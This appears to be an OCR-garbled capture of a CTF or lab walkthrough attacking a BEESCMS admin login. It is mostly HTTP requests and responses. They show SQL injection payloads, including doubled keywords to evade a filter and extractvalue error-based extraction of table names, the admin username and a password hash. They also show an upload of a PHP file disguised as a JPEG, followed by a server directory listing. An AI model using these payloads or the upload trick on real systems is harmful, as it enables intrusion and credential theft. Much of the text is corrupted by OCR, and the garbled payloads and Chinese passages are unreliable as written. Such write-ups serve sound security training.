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Request Respons:

| (Ran| params | essers | e ) e

POST /bees/admin/login.php?action=ck_login HTTP/1.1

Host: 59.63.200.79:8683

User-Agent: Mozillas5.0 (X11; Linux xB86_64; rv:52.0) Gecko/201001081
Firefox/52.8

Accept: text/html,application/xhtml+xml application/xml;g=0.9,%/*,q=0.8
Accept-Language: zh,en-US,q=0.7,en;q=0.3

Accept-Encedang: gzip, deflate

Referer: http://59.63.200.79:8003/beas/admin/login. php

Cookie: PHPSESSID=kptefl7t93hs37s2mf TmB426p2

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 70

e

user=adminkpassword=1234code=ddddésubmit=t ruefsubmit  x=3B&submit. y=23

K i%Frepeaterfiibh
FRENE
RERELEH P LA BK



user=admin’#&kpassword=1234568code=e84l&submit=t ruefsubmit  x=50&submit . y=25

=body>

<div class="msg_bedy*>
<div class="msg_Llan">MfFlM</div></ - - S50 §-->
<div class="msg_contain">

<p style="font-weight:bold;color:#156683 " >MANERFEM</p><p>EHE<span 1d="15_time"></span>BEEMEER</p><p 1d="time_url"><a
hraf=*javascript:window.history. back(.1); *»illllt—M=«/a»</p><script type="text/javascript >time_gol)s</script> </div>
</div>
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user=admin’ order by E'P&passuurd=123456&cn-de=eﬂ41&subn:i.‘t=t ruefsubmit . x=50&submit _y=25
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=div style="font-size:12px; “=<p=MERIEE EMUnknown column *6° in "order clause'<br=sql:selact id,admin_name,admin_password,admin_purview,is_disable from

bees_admin where admin_name='admin' order by 6#" limit 0, 1=</p><p 1d="time_url"=<as href="javascript:history_go(-1);"
style="text-decration:none*=E</a=</div>
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select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name=‘admin’ order by 6#
limit 0,1

1% 7 B Nid,admin_name,admin_password,admin_purview,is_disable
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user=admin’ union select 1,2,3,4,5 #&kpassword=123456&code=eB41&submit=t ruefisubmit x=58&submit_y=25

<div style="font-size:12px; “=<p=-MfFRIEE£MYou have an error in your S0L syntax; check the manual that corresponds to your MySOL server version for the right
syntax to use near *1,2,3,4,5#" limit 8,1" at line 1<br=sql:select id, admin_name,admin_password,admin_purview,is_disable from bees_admin where
admin_name="admin® 1,2,3,4,5#" Limit 0, 1</p><p id="time_url®><a href="javascript:history.go(-1);" style="text-decration:none*>EE</a></div>
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user=admin’ uniunionon select 1,2,3,4,5 #&password=123456&code=eB41&submit=t ruefsubmit x=58&submit. y=25

=div style="font-size: 12px; “=<p=M{ERIEEE LM You have an error i
syntax to use near "uniunionon 1,2,3,4,5#' limit @,.1' at line 1=
admin_name="admin® uniunionon 1,2,3,4,5#' Limit 0,1=</p==p 1d="

UnionZgid kI, FTRERIT AFHE T, RERARKT

iser=admin’ union selselectet 1,2,3,4,5 #&password=123456&code=eB41&submit=t ruefsubmit . x=50&submit _ y=25
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E W R FEuser’ a and nd extractvalue(1,concat(” (gatabase().”)) #

user=admin"’ h and nd extractvalue(l,concat('~", (database()),"~"])) #&password=123456&code=eB41&submit=t ruefsubmit  x=568&submit_y=25
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MNEWIEH

a and nd extractvalue(1,substr(concat(’~',(selselectect group_concat(table_name) fr from om information_schema.tables w where

here table_schema like database()),’~"),1,30)) #i@ it i % substr KllenS R IKEBUT A I HHER

user=admin’ a and nd extractvaluel(l substriconcat(’'~', (selselectect group_concat({table_name) fr from om infermation_schema.tables wwhere here table_schema
like databasel ), "~"),1,38) ) #&password=123456&code=eB4l&submit=t ruefsubmit . x=58&submit y=25

*~bees_admin,bees_admin_group,bee’<br=s

Z R EA18 3] T HASFBid,admin_name,admin_password,admin_purview,is_disable
BAIIMbees_adminF Zifjadmin_nameFladmin_password
¥¥ Aa and nd extractvalue(1,concat(’~,(selselectect admin_name fr from om bees_admin limit 1),'~")) #

user=admin® a and nd extractvalue(l,concat{'~" (selselectect admin_name fr from om bees_admin limat 1}, '~"))
#upassword=123456&code=eB41&submit=t ruefisubmit x=58&submit y=25
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admin® and extractvalue(l,concat("~", (select admin name from bees admin limit 1),"~")) #° limit 8, 1</p><p 1d="time url”
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¥¥ Aa and nd extractvalue(1,substr(concat('~,(selselectect admin_password fr from om bees_admin limit 1),’~"),10)) #
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user=admin’ a and nd extractvalue(l,substriconcat("~", (selselectect admin_password fr from om bees_admin limat 1),°~"), 1))
#apassword=123456&code=e8418submit=t rueksubmit . x=50&submit v=25

SHON i

: "~21232f207a57a5a743804ab0ed4adflfc " <br=sql: select
Ve - .

I o P T T aa '

2~6if
user=admin’ a and nd extractvalue(l, substriconcat("~", (selselectect admin_password fr from om bees_admain Limit 1), "~") ,6))
#apassword=1234568code=e841&submit=t ruefsubmit _ x=50&submit.y=25
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<!DOCTYPE html PUBLIC =-//W3C//DTD XHTML 1.8 Transitionals/EN® “http://wew. w3, org/ TR/ xhtml1/0T0/ xhtml]- transitional. dtd==

[ERESCHELGEE 1 BEESCHS v4. 0 EHETHSH

2012-12-08 23:12:10 A
2012-12-08 23:12:34 k]
2012-12-08 23:12:54 k=]
2012-12-08 23:12:16 k=1
2012-12-08 23:12:16 "
2012-12-08 23:12:35 A"

11148296869167470856605718059

Content-Disposition: form-data; name="new_pic®; filename="56_php~

Content-Type: image/]peg

<html xmlns="http:/ /wew.w3.org/ 1999/ xhtml==
=head=

<meta http-equav="Content-Type” content="text/html; charset=utf-8= />

=title>MfEE=/title>

<link rel="stylesheet® type="text/css* href="template/admin_css*/>

<script type="text/javascript” src="template/images/jquery.js™></script=
=script type="text/javascript™>

var Stime=0;

wvar Stotaltime=5;

§is_time=Stotaltime;

function time_gol){
§is_time=§is_time-1;
Stime=§time+l;
S{'#is_time').html(sis_time);
if(stime=—=%totaltime){

}

surl=s{'#time_url').find("a").attr( "href");
location.href=surl;

H
ifistime<stotaltime){

setTimeout ("time_gol)",10088);
}

=/script=
<style type="text/css">
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body{backgroud:#fafafs}
=/style=
</head>

<hody=
=div class="msg_body">

<div class="msg_Llan=>MfEEM</dive<) - - LEirE--=

<div class="msg_contain™>

=p style="font-weight:bold; color:#156683 =M BEMEEL | </p=<p=TiE#¥E<span 1d="15_time"=</span=PEEMEE=/p=><p 1d="time_url===3

href="7p1c_nav=1&nav=pic_list&admin_p_nav=content*>BEE—=M</a></p><script type="text/javascript®>time_go();</script>

= fdiv=

</body>
=/ html>

</div=
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, Documents and Settings , Documents and Settings 2020-11-26 08:37:32 ] 0777
Inetpub | Inetpub 2018-10-17 17:04:26 0 0777
) ) , Program Files 2018-10-17 07.44:42 0 0555
. Program Files . RECYCLER 2020-08-13 14:06:03 0 0777
. RECYCLER i/ , System Volume Information 2018-10-17 07.39:58 0 o777
! SYStEm Vaolume Information . web 2019-05-27 09:22:33 0 o777
| WINDOWS 2020-10-30 13:47:50 0 0777
; web | wmpub 2018-10-17 07:36:19 0 0777
| WINDOWS AUTOEXEC.BAT 2018-10-17 07:35:45 0 0777
| wmpub bootini 2018-10-17 07:28:34 210 0666
. bootfont.bin 2007-03-07 12:00:00 322730 0444
Ve D COMFIG.SYS 2018-10-17 07:35:45 0 0666
¥ | phpStudy flag.bet 2018-04-02 11:25:38 23 0666
v [ Www 10.5Y5 2018-10-17 07:35:45 0 0444
" SEES MSDOS.SYS 2018-10-17 07:35:45 0 0444
! NTDETECT.COM 2007-03-07 12:00:00 ATTT2 0555
¥ | upload ntldr 2007-03-07 12:00:00 306288 0444
v | img pagefile.sys 2020-08-13 14:07:15 1610612736 0666
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